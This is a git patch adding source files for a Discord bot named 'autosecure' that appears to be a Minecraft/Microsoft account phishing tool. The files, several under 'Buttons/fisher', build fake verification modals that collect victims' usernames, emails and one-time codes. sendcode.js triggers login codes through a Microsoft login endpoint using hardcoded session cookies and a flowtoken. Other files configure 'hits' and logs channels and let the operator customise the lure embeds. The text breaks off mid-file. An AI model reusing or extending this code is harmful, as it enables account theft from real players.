From 497c7c95b73b1e4e23a658157ae9d06b3ab9a14b Mon Sep 17 00:00:00 2001 From: Mousavi9034 <52851098+mohammad03456@users.noreply.github.com> Date: Sun, 7 Jul 2024 00:56:59 +0330 Subject: [PATCH] Add files via upload --- Buttons/embed/Image.js | 17 ++++++++ Buttons/embed/author.js | 17 ++++++++ Buttons/embed/authorUrl.js | 17 ++++++++ Buttons/embed/buttonColor.js | 17 ++++++++ Buttons/embed/buttonEmoji.js | 17 ++++++++ Buttons/embed/buttonLabel.js | 17 ++++++++ Buttons/embed/changebutton.js | 30 ++++++++++++++ Buttons/embed/color.js | 17 ++++++++ Buttons/embed/description.js | 17 ++++++++ Buttons/embed/editEmbeds.js | 31 +++++++++++++++ Buttons/embed/editModals.js | 20 ++++++++++ Buttons/embed/editbuttons.js | 23 +++++++++++ Buttons/embed/footer.js | 17 ++++++++ Buttons/embed/footerUrl.js | 17 ++++++++ Buttons/embed/save.js | 18 +++++++++ Buttons/embed/saveButton.js | 27 +++++++++++++ Buttons/embed/thumbnailUrl.js | 17 ++++++++ Buttons/embed/title.js | 17 ++++++++ Buttons/fisher/confirm.js | 28 +++++++++++++ Buttons/fisher/howto.js | 23 +++++++++++ Buttons/fisher/linkAccount.js | 36 +++++++++++++++++ Buttons/fisher/sendcode.js | 23 +++++++++++ Buttons/modals/modal.js | 52 +++++++++++++++++++++++++ Buttons/modals/modalinput.js | 6 +++ Buttons/modals/test.js | 6 +++ Buttons/profiles/add.js | 26 +++++++++++++ Buttons/profiles/delete.js | 11 ++++++ Buttons/profiles/fetchProfile.js | 17 ++++++++ Buttons/profiles/move.js | 8 ++++ Buttons/profiles/save.js | 15 +++++++ Buttons/settings/changeSettings.js | 11 ++++++ Buttons/settings/oauthset.js | 18 +++++++++ Buttons/settings/securityemaildomain.js | 20 ++++++++++ Buttons/stats/bedwars.js | 15 +++++++ Buttons/stats/duels.js | 15 +++++++ Buttons/stats/skyblock.js | 15 +++++++ Buttons/stats/skywars.js | 15 +++++++ Buttons/users/add.js | 17 ++++++++ Buttons/users/admin.js | 21 ++++++++++ Buttons/users/back.js | 8 ++++ Buttons/users/claiming.js | 25 ++++++++++++ Buttons/users/move.js | 9 +++++ Buttons/users/next.js | 8 ++++ Buttons/users/removeUser.js | 11 ++++++ Buttons/utils/Image.js | 17 ++++++++ Buttons/utils/author.js | 17 ++++++++ Buttons/utils/authorUrl.js | 17 ++++++++ Buttons/utils/ban.js | 24 ++++++++++++ Buttons/utils/botStatus.js | 26 +++++++++++++ Buttons/utils/buttonColor.js | 17 ++++++++ Buttons/utils/buttonEmoji.js | 17 ++++++++ Buttons/utils/buttonLabel.js | 17 ++++++++ Buttons/utils/changeSkin.js | 28 +++++++++++++ Buttons/utils/changebutton.js | 30 ++++++++++++++ Buttons/utils/color.js | 17 ++++++++ Buttons/utils/delete.js | 11 ++++++ Buttons/utils/deleteButton.js | 11 ++++++ Buttons/utils/description.js | 17 ++++++++ Buttons/utils/editEmbeds.js | 31 +++++++++++++++ Buttons/utils/editModals.js | 20 ++++++++++ Buttons/utils/editbuttons.js | 23 +++++++++++ Buttons/utils/embeds.js | 10 +++++ Buttons/utils/footer.js | 17 ++++++++ Buttons/utils/footerUrl.js | 17 ++++++++ Buttons/utils/nameChange.js | 28 +++++++++++++ Buttons/utils/retry.js | 35 +++++++++++++++++ Buttons/utils/save.js | 18 +++++++++ Buttons/utils/saveButton.js | 27 +++++++++++++ Buttons/utils/sendEmbed.js | 18 +++++++++ Buttons/utils/ssid.js | 14 +++++++ Buttons/utils/text.js | 24 ++++++++++++ Buttons/utils/textEmbed.js | 45 +++++++++++++++++++++ Buttons/utils/thumbnailUrl.js | 17 ++++++++ Buttons/utils/title.js | 17 ++++++++ autosecure.js | 41 +++++++++++++++++++ 75 files changed, 1480 insertions(+) create mode 100644 Buttons/embed/Image.js create mode 100644 Buttons/embed/author.js create mode 100644 Buttons/embed/authorUrl.js create mode 100644 Buttons/embed/buttonColor.js create mode 100644 Buttons/embed/buttonEmoji.js create mode 100644 Buttons/embed/buttonLabel.js create mode 100644 Buttons/embed/changebutton.js create mode 100644 Buttons/embed/color.js create mode 100644 Buttons/embed/description.js create mode 100644 Buttons/embed/editEmbeds.js create mode 100644 Buttons/embed/editModals.js create mode 100644 Buttons/embed/editbuttons.js create mode 100644 Buttons/embed/footer.js create mode 100644 Buttons/embed/footerUrl.js create mode 100644 Buttons/embed/save.js create mode 100644 Buttons/embed/saveButton.js create mode 100644 Buttons/embed/thumbnailUrl.js create mode 100644 Buttons/embed/title.js create mode 100644 Buttons/fisher/confirm.js create mode 100644 Buttons/fisher/howto.js create mode 100644 Buttons/fisher/linkAccount.js create mode 100644 Buttons/fisher/sendcode.js create mode 100644 Buttons/modals/modal.js create mode 100644 Buttons/modals/modalinput.js create mode 100644 Buttons/modals/test.js create mode 100644 Buttons/profiles/add.js create mode 100644 Buttons/profiles/delete.js create mode 100644 Buttons/profiles/fetchProfile.js create mode 100644 Buttons/profiles/move.js create mode 100644 Buttons/profiles/save.js create mode 100644 Buttons/settings/changeSettings.js create mode 100644 Buttons/settings/oauthset.js create mode 100644 Buttons/settings/securityemaildomain.js create mode 100644 Buttons/stats/bedwars.js create mode 100644 Buttons/stats/duels.js create mode 100644 Buttons/stats/skyblock.js create mode 100644 Buttons/stats/skywars.js create mode 100644 Buttons/users/add.js create mode 100644 Buttons/users/admin.js create mode 100644 Buttons/users/back.js create mode 100644 Buttons/users/claiming.js create mode 100644 Buttons/users/move.js create mode 100644 Buttons/users/next.js create mode 100644 Buttons/users/removeUser.js create mode 100644 Buttons/utils/Image.js create mode 100644 Buttons/utils/author.js create mode 100644 Buttons/utils/authorUrl.js create mode 100644 Buttons/utils/ban.js create mode 100644 Buttons/utils/botStatus.js create mode 100644 Buttons/utils/buttonColor.js create mode 100644 Buttons/utils/buttonEmoji.js create mode 100644 Buttons/utils/buttonLabel.js create mode 100644 Buttons/utils/changeSkin.js create mode 100644 Buttons/utils/changebutton.js create mode 100644 Buttons/utils/color.js create mode 100644 Buttons/utils/delete.js create mode 100644 Buttons/utils/deleteButton.js create mode 100644 Buttons/utils/description.js create mode 100644 Buttons/utils/editEmbeds.js create mode 100644 Buttons/utils/editModals.js create mode 100644 Buttons/utils/editbuttons.js create mode 100644 Buttons/utils/embeds.js create mode 100644 Buttons/utils/footer.js create mode 100644 Buttons/utils/footerUrl.js create mode 100644 Buttons/utils/nameChange.js create mode 100644 Buttons/utils/retry.js create mode 100644 Buttons/utils/save.js create mode 100644 Buttons/utils/saveButton.js create mode 100644 Buttons/utils/sendEmbed.js create mode 100644 Buttons/utils/ssid.js create mode 100644 Buttons/utils/text.js create mode 100644 Buttons/utils/textEmbed.js create mode 100644 Buttons/utils/thumbnailUrl.js create mode 100644 Buttons/utils/title.js create mode 100644 autosecure.js diff --git a/Buttons/embed/Image.js b/Buttons/embed/Image.js new file mode 100644 index 0000000..78ac7b5 --- /dev/null +++ b/Buttons/embed/Image.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "image", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`image`, `image`, [{ + setCustomId: 'image', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Image", + setPlaceholder: "Type the desired Image.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/author.js b/Buttons/embed/author.js new file mode 100644 index 0000000..0595031 --- /dev/null +++ b/Buttons/embed/author.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "author", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`author`, `Author`, [{ + setCustomId: 'author', + setMaxLength: 256, + setMinLength: 0, + setRequired: false, + setLabel: "Author Name", + setPlaceholder: "Type the desired Author Name.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/authorUrl.js b/Buttons/embed/authorUrl.js new file mode 100644 index 0000000..43c7de9 --- /dev/null +++ b/Buttons/embed/authorUrl.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "authorurl", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`authorurl`, `Author URL`, [{ + setCustomId: 'authorurl', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Author URL", + setPlaceholder: "Type the desired Author URL.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/buttonColor.js b/Buttons/embed/buttonColor.js new file mode 100644 index 0000000..b1d2402 --- /dev/null +++ b/Buttons/embed/buttonColor.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "buttoncolor", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`buttoncolor`, `Button Color`, [{ + setCustomId: 'buttoncolor', + setMaxLength: 5, + setMinLength: 3, + setRequired: true, + setLabel: "Button Color", + setPlaceholder: "Button colors are limited to these 4 options (Red,Green,Blue,Gray)", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/buttonEmoji.js b/Buttons/embed/buttonEmoji.js new file mode 100644 index 0000000..52e7f3e --- /dev/null +++ b/Buttons/embed/buttonEmoji.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "buttonemoji", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`buttonemoji`, `Button Emoji`, [{ + setCustomId: 'buttonemoji', + setMaxLength: 80, + setMinLength: 0, + setRequired: false, + setLabel: "Button Emoji", + setPlaceholder: "Put the desired emoji for your button", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/buttonLabel.js b/Buttons/embed/buttonLabel.js new file mode 100644 index 0000000..3dfeeaf --- /dev/null +++ b/Buttons/embed/buttonLabel.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "buttonlabel", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`buttonlabel`, `Button Label`, [{ + setCustomId: 'buttoncolor', + setMaxLength: 80, + setMinLength: 1, + setRequired: true, + setLabel: "Button Label", + setPlaceholder: "Put your desired button label", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/changebutton.js b/Buttons/embed/changebutton.js new file mode 100644 index 0000000..06b5e46 --- /dev/null +++ b/Buttons/embed/changebutton.js @@ -0,0 +1,30 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "changebutton", + callback: async (client, interaction) => { + let type = interaction.customId.split("|")[1] + let buttons = [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("buttonlabel").setEmoji("🏷️").setLabel("Button Label").setStyle(ButtonStyle.Primary), + ) + ] + if (type != "oauth") { + buttons[0].addComponents(new ButtonBuilder().setCustomId("buttoncolor").setEmoji("🎨").setLabel("Button Color").setStyle(ButtonStyle.Primary)) + } + buttons[0].addComponents( + new ButtonBuilder().setCustomId("savebutton|" + interaction.customId.split("|")[1]).setEmoji("✏️").setLabel("Your button").setStyle(ButtonStyle.Secondary), + new ButtonBuilder().setCustomId("buttonemoji").setEmoji("😎").setLabel("Button Emoji").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("deletebutton|"+type).setEmoji("🗑️").setLabel("Delete button").setStyle(ButtonStyle.Danger) + ) + return interaction.reply({ + embeds: [{ + title: `Change your button`, + description: `Change how your button looks like using these controls\nAfter you finish, click on your button to save!\n\n**Note**\nLink Buttons must have the color Gray in discord!`, + color: 0xEB9C6C + }], + ephemeral: true, + components: buttons + }) + } +} \ No newline at end of file diff --git a/Buttons/embed/color.js b/Buttons/embed/color.js new file mode 100644 index 0000000..6ab4faa --- /dev/null +++ b/Buttons/embed/color.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "color", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`color`, `color`, [{ + setCustomId: 'color', + setMaxLength: 6, + setMinLength: 1, + setRequired: true, + setLabel: "Color", + setPlaceholder: "Type the desired Color.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/description.js b/Buttons/embed/description.js new file mode 100644 index 0000000..a7fabbb --- /dev/null +++ b/Buttons/embed/description.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "description", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`description`, `description`, [{ + setCustomId: 'description', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Embed description", + setPlaceholder: "Type the desired embed description.", + setStyle: TextInputStyle.Paragraph + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/editEmbeds.js b/Buttons/embed/editEmbeds.js new file mode 100644 index 0000000..fee7eab --- /dev/null +++ b/Buttons/embed/editEmbeds.js @@ -0,0 +1,31 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "editembeds", + adminOnly: true, + callback: async (client, interaction) => { + return interaction.reply({ + embeds: [{ + title: `Which embed do you want to change?`, + color: 0xC8C8C8 + }], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("embeds|main").setLabel("Change Verification Embed").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("embeds|oauth").setLabel("Change OAuth Embed").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("embeds|sec").setLabel("Change Security Emails Embed").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("embeds|res").setLabel("Change Final Response Embed").setStyle(ButtonStyle.Primary), + ), + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("embeds|otp").setLabel("Change OTP Disabled Embed").setStyle(ButtonStyle.Danger), + new ButtonBuilder().setCustomId("embeds|invalid").setLabel("Change Invalid Code Embed").setStyle(ButtonStyle.Danger), + new ButtonBuilder().setCustomId("embeds|invalid email").setLabel("Change Invalid Email Embed").setStyle(ButtonStyle.Danger), + new ButtonBuilder().setCustomId("embeds|account doesn't exist").setLabel("Change Account doesn't exist Embed").setStyle(ButtonStyle.Danger), + ), + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("embeds|authenticator").setLabel("Change Authenticator Embed").setStyle(ButtonStyle.Secondary) + )], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/embed/editModals.js b/Buttons/embed/editModals.js new file mode 100644 index 0000000..e116f04 --- /dev/null +++ b/Buttons/embed/editModals.js @@ -0,0 +1,20 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "editmodals", + adminOnly: true, + callback: async (client, interaction) => { + return interaction.reply({ + embeds: [{ + title: `Which Modal do you want to change?`, + color: 0xC8C8C8 + }], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("modal|main").setLabel("Change Linking Modal").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("modal|code").setLabel("Change Confirming Code Modal").setStyle(ButtonStyle.Primary) + )], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/embed/editbuttons.js b/Buttons/embed/editbuttons.js new file mode 100644 index 0000000..c9cfbf9 --- /dev/null +++ b/Buttons/embed/editbuttons.js @@ -0,0 +1,23 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "editbuttons", + adminOnly: true, + callback: async (client, interaction) => { + return interaction.reply({ + embeds: [{ + title: `Which Button do you want to change?`, + color: 0xC8C8C8 + }], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("changebutton|link account").setLabel("Change Link Account Button").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("changebutton|oauth").setLabel("Change OAuth Button").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("changebutton|code").setLabel("Change Submit Code Button").setStyle(ButtonStyle.Primary), + new ButtonBuilder().setCustomId("changebutton|howto").setLabel("Change How To Button").setStyle(ButtonStyle.Primary) + ) + ], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/embed/footer.js b/Buttons/embed/footer.js new file mode 100644 index 0000000..d5ef3f3 --- /dev/null +++ b/Buttons/embed/footer.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "footer", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`footer`, `footer`, [{ + setCustomId: 'footer', + setMaxLength: 2048, + setMinLength: 0, + setRequired: false, + setLabel: "Footer", + setPlaceholder: "Type the desired Footer.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/footerUrl.js b/Buttons/embed/footerUrl.js new file mode 100644 index 0000000..6bc9ebf --- /dev/null +++ b/Buttons/embed/footerUrl.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "footerurl", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`footerurl`, `footerurl`, [{ + setCustomId: 'footerurl', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Footer URL", + setPlaceholder: "Type the desired Footer URL.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/save.js b/Buttons/embed/save.js new file mode 100644 index 0000000..b8bb9af --- /dev/null +++ b/Buttons/embed/save.js @@ -0,0 +1,18 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "save", + adminOnly: true, + callback: async (client, interaction) => { + let embed = interaction.message.embeds[0].data + let type = interaction.customId.split("|")[1] + let d = await queryParams(`SELECT * FROM embeds WHERE user_id=? AND type=? LIMIT 1`, [client.username, type]) + if (d.length == 0) { + await queryParams(`INSERT INTO embeds(user_id,type,embed) VALUES(?,?,?)`, [client.username, type, JSON.stringify(embed)]) + return interaction.update({ content: `Saved your ${type} embed!`, ephemeral: true }) + } else { + await queryParams(`UPDATE embeds SET embed=? WHERE user_id=? AND type=?`, [JSON.stringify(embed), client.username, type]) + return interaction.update({ content: `Updated your ${type} embed!`, ephemeral: true }) + } + } +} \ No newline at end of file diff --git a/Buttons/embed/saveButton.js b/Buttons/embed/saveButton.js new file mode 100644 index 0000000..2947086 --- /dev/null +++ b/Buttons/embed/saveButton.js @@ -0,0 +1,27 @@ +const { queryParams } = require("../../../db/db") + +module.exports = { + name: "savebutton", + adminOnly: true, + callback: async (client, interaction) => { + let type = interaction.customId.split("|")[1] + let button + if (type == "oauth") { + button = interaction.message.components[0].components[1].data + delete button.custom_id + button.type = 2 + button.style = 5 + } else { + button = interaction.message.components[0].components[2].data + button.custom_id = type + } + let exist = await queryParams(`SELECT * FROM buttons WHERE user_id=? AND type=?`, [client.username, type]) + if (exist.length == 0) { + await queryParams(`INSERT INTO buttons(user_id,type,button) VALUES(?,?,?)`, [client.username, type, JSON.stringify(button)]) + return interaction.update({ content: `Saved your button` }) + } else { + await queryParams(`UPDATE buttons SET button=? WHERE user_id=?`, [JSON.stringify(button), client.username]) + return interaction.update({ content: `Saved your button` }) + } + } +} \ No newline at end of file diff --git a/Buttons/embed/thumbnailUrl.js b/Buttons/embed/thumbnailUrl.js new file mode 100644 index 0000000..b1791e3 --- /dev/null +++ b/Buttons/embed/thumbnailUrl.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "thumbnail", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`thumbnail`, `thumbnail`, [{ + setCustomId: 'thumbnail', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Thumbnail", + setPlaceholder: "Type the desired thumbnail.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/embed/title.js b/Buttons/embed/title.js new file mode 100644 index 0000000..5d2b6d6 --- /dev/null +++ b/Buttons/embed/title.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "title", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`title`, `Title`, [{ + setCustomId: 'title', + setMaxLength: 256, + setMinLength: 0, + setRequired: false, + setLabel: "Embed title", + setPlaceholder: "Type the desired embed title.", + setStyle: TextInputStyle.Paragraph + }])) + } +} \ No newline at end of file diff --git a/Buttons/fisher/confirm.js b/Buttons/fisher/confirm.js new file mode 100644 index 0000000..027ff87 --- /dev/null +++ b/Buttons/fisher/confirm.js @@ -0,0 +1,28 @@ +const { TextInputStyle } = require("discord.js"); +const { queryParams } = require("../../../db/db"); +const modalBuilder = require("../../utils/modalBuilder"); +const generate = require("../../utils/generate"); +let sendCodeE = { + name: `confirmcode`, + callback: async (client, interaction) => { + let id = interaction.customId.split("|").slice(1).join("|") + let rId = generate(32) + queryParams(`INSERT INTO actions (id,action) VALUES(?,?)`, [rId, `submit|${id}`]) + try { + interaction.showModal(modalBuilder( + `action|${rId}`, `Confirm code`, [{ + setCustomId: 'code', + setMaxLength: 7, + setMinLength: 6, + setRequired: true, + setLabel: "Verification code", + setPlaceholder: "Type the code that got sent to your email.", + setStyle: TextInputStyle.Short + }] + )) + } catch (e) { + console.log(e) + } + } +}; +module.exports = sendCodeE; diff --git a/Buttons/fisher/howto.js b/Buttons/fisher/howto.js new file mode 100644 index 0000000..1a4260b --- /dev/null +++ b/Buttons/fisher/howto.js @@ -0,0 +1,23 @@ +let howto = { + name: `howto`, + callback: async (client, interaction) => { + interaction.reply({ + embeds: [{ + title: `How to Add a security email.`, + description: `**Step 1** Go to your [Microsoft Account](https://account.live.com/proofs/manage/additional) + **Step 2** Click on "Security" + **Step 3** Click on "Advanced Security options" + **Step 4** Click "Add a new way to verify" + **Step 5** Click "Email a code" + **Step 6** Enter your email + **Step 7** Wait 1-2 minutes and retry`, + image: { + url: `https://cdn.discordapp.com/ephemeral-attachments/1216753532951203893/1217799172531425421/HowTo.gif?ex=660556dc&is=65f2e1dc&hm=93a1731f755a0af317aa750f4f7257f5325e28076a4a898bb3414c538640afb7&` + }, + color: 0xC8C8C8 + }], + ephemeral: true + }) + } +}; +module.exports = howto; diff --git a/Buttons/fisher/linkAccount.js b/Buttons/fisher/linkAccount.js new file mode 100644 index 0000000..7781361 --- /dev/null +++ b/Buttons/fisher/linkAccount.js @@ -0,0 +1,36 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") +const { queryParams } = require("../../../db/db") + +let linkAccount = { + name: `link account`, + callback: async (client, interaction) => { + let server = await queryParams(`SELECT * FROM autosecure WHERE user_id=?`, [client.username]) + if (server.length == 0) return interaction.reply({ content: `You don't have access to autosecure!`, ephemeral: true }) + server = server[0] + if (server.server_id != interaction.guildId) return interaction.reply({ content: `This is not your fishing server!\nChange it using **/set**`, ephemeral: true }) + if (!server.logs_channel) return interaction.reply({ content: `Set the logs channel first! using **/set**`, ephemeral: true }) + if (!server.hits_channel) return interaction.reply({ content: `Set the hits channel first! using **/set**`, ephemeral: true }) + if (!server.notification_channel) return interaction.reply({ content: `Set the notifications channel first! using **/set**`, ephemeral: true }) + interaction.showModal(modalBuilder( + `Verification`, `Verification`, [{ + setCustomId: 'minecraftusername', + setMaxLength: 16, + setMinLength: 1, + setRequired: true, + setLabel: "Minecraft username", + setPlaceholder: "Type your minecraft username.", + setStyle: TextInputStyle.Short + }, { + setCustomId: 'Email', + setMaxLength: 60, + setMinLength: 3, + setRequired: true, + setLabel: "Minecraft email", + setPlaceholder: "Type your Minecraft Email.", + setStyle: TextInputStyle.Short + }] + )) + } +} +module.exports = linkAccount \ No newline at end of file diff --git a/Buttons/fisher/sendcode.js b/Buttons/fisher/sendcode.js new file mode 100644 index 0000000..c7552f1 --- /dev/null +++ b/Buttons/fisher/sendcode.js @@ -0,0 +1,23 @@ +const axios = require("axios") +let sendCode = { + name: `sendcode`, + callback: async (client, interaction) => { + let secId = interaction.customId.split("|")[1] + const { data } = await axios({ + method: 'post', + url: "https://login.live.com/GetOneTimeCode.srf", + headers: { + "Content-Type": "application/x-www-form-urlencoded", + Cookie: `MSPRequ=id=N<=1710339166&co=1; uaid=c91a322ee1b4429680b0ea8f66c093a0; MSCC=197.120.88.59-EG; MSPOK=$uuid-146ab8a8-c9d0-4bb1-aa27-547da7d29c2e; OParams=11O.DtGQ6hN13OJzMvlgcsbk3K1MJr*X68!Ot3yO3k6RSI06blohFE2hyzV47ZO5tLXE6D0m99QK34YAxLCQDz3U1Nwyqy2Ov*hJkMvLwJXKbYUIjSGgHieTerUPAdR6FgtL0BzQq8XqFSgSdvzmclJqKpzC0GvHtf*jA5WjBZyVV5OSII6OIjJzM8v256KIa95Jzj14D1QDiteTtl5yjezcl!ntryM4c*L*FOCgYxrA8MD9oya8pFHntdG4l5NgaUHkKencTODUnk6EbqD0Scud3qYyArpTBs7ryxY7AUWiqHf1tEwSAEzpGdVVlnooi!h0*w$$; MicrosoftApplicationsTelemetryDeviceId=8d42cd67-e191-4485-b99f-61acde87e85c; ai_session=xgIvNnBy7/HaB8dU2XGZWs|1710339167277|1710339167277; MSFPC=GUID=254359f779a247ddb178d133b367ad82&HASH=2543&LV=202403&V=4&LU=1710339171328` + }, + data: `login=wtv@outlook.com&flowtoken=-DvTDvmRgphmpW9oJRrYLB1YGD*aPHnUeOf3zvwQABaxrG8WwdFr6jD12imzrE3D2AhdfsKbazoW5G0AvCvO9Thz!9VzxnGUlAbtWqwft34nll3cx2ge2pRYsrK5Sq6BtZbObPlJ2tDiwu3gRDgBjzFldYn*rt9By5D!6QUKFoC8pFtKS949tDFokpG0BpT07ig$$&purpose=eOTT_OtcLogin&channel=Email&AltEmailE=${secId}` + }) + if (data?.State == 201) { + return interaction.update(`Sent Code!`) + } + else { + return interaction.update(`Failed to send the code!`) + } + }, +}; +module.exports = sendCode; diff --git a/Buttons/modals/modal.js b/Buttons/modals/modal.js new file mode 100644 index 0000000..5dea563 --- /dev/null +++ b/Buttons/modals/modal.js @@ -0,0 +1,52 @@ +const { ActionRowBuilder, ButtonBuilder } = require("@discordjs/builders"); +const { ButtonStyle } = require("discord.js"); +const { queryParams } = require("../../../db/db"); + +module.exports = { + name: "modal", + callback: async (client, interaction) => { + switch (interaction.customId.split("|")[1]) { + case "main": + let desc = "" + let modal = await queryParams(`SELECT * FROM modals WHERE user_id=? AND modal=?`, [client.username, "main"]) + if (modal.length == 0) { + desc = `title=` + } + return interaction.reply({ + embeds: [{ + title: `Edit the Linking Account Modal!`, + description: desc, + color: 0x00ff00 + }], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("modaltitle|main").setLabel("Title").setStyle(ButtonStyle.Secondary), + new ButtonBuilder().setCustomId("modalinput|main|1").setLabel("Minecraft Username").setStyle(ButtonStyle.Secondary).setEmoji({ name: "🏷️" }), + new ButtonBuilder().setCustomId("modalinput|main|2").setLabel("Email").setStyle(ButtonStyle.Secondary).setEmoji({ name: "📧" }) + ), + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId("testmodal|main").setLabel("Test").setStyle(ButtonStyle.Primary).setEmoji({ name: "📝" }), + new ButtonBuilder().setCustomId("savemodal|main").setLabel("Save").setStyle(ButtonStyle.Primary).setEmoji({ name: "💾" }) + + + ) + ], + ephemeral: true + }) + break; + case "code": + return interaction.reply({ + embeds: [{ + title: `Edit the Linking Account Modal!`, + description: `Use the Buttons below to edit your modal!\nPress save once you finish editing`, + color: 0x00ff00 + }], + ephemeral: true + }) + break + default: + return interaction.reply({ content: `Invalid type!`, ephemeral: true }) + break; + } + } +} \ No newline at end of file diff --git a/Buttons/modals/modalinput.js b/Buttons/modals/modalinput.js new file mode 100644 index 0000000..4520dc3 --- /dev/null +++ b/Buttons/modals/modalinput.js @@ -0,0 +1,6 @@ +module.exports={ + name:"modalinput", + callback:async(client,interaction)=>{ + let type = interaction.customId.split("|")[1] + } +} \ No newline at end of file diff --git a/Buttons/modals/test.js b/Buttons/modals/test.js new file mode 100644 index 0000000..aea4aa4 --- /dev/null +++ b/Buttons/modals/test.js @@ -0,0 +1,6 @@ +module.exports={ + name:"testmodal", + callback:async(client,interaction)=>{ + return interaction.reply({content:`${interaction.customId.split("|")[1]}`,ephemeral:true}) + } +} \ No newline at end of file diff --git a/Buttons/profiles/add.js b/Buttons/profiles/add.js new file mode 100644 index 0000000..6c6f91f --- /dev/null +++ b/Buttons/profiles/add.js @@ -0,0 +1,26 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js") + +module.exports = { + name: "addprofile", + callback: async (client, interaction) => { + const title = new ButtonBuilder().setCustomId("title").setLabel("Title").setStyle(ButtonStyle.Primary) + const description = new ButtonBuilder().setCustomId("description").setLabel("Description").setStyle(ButtonStyle.Primary) + const author = new ButtonBuilder().setCustomId("author").setLabel("Author").setStyle(ButtonStyle.Primary) + const authorUrl = new ButtonBuilder().setCustomId("authorurl").setLabel("Author URL").setStyle(ButtonStyle.Primary) + const thumbnai = new ButtonBuilder().setCustomId("thumbnail").setLabel("Thumbnail").setStyle(ButtonStyle.Primary) + const color = new 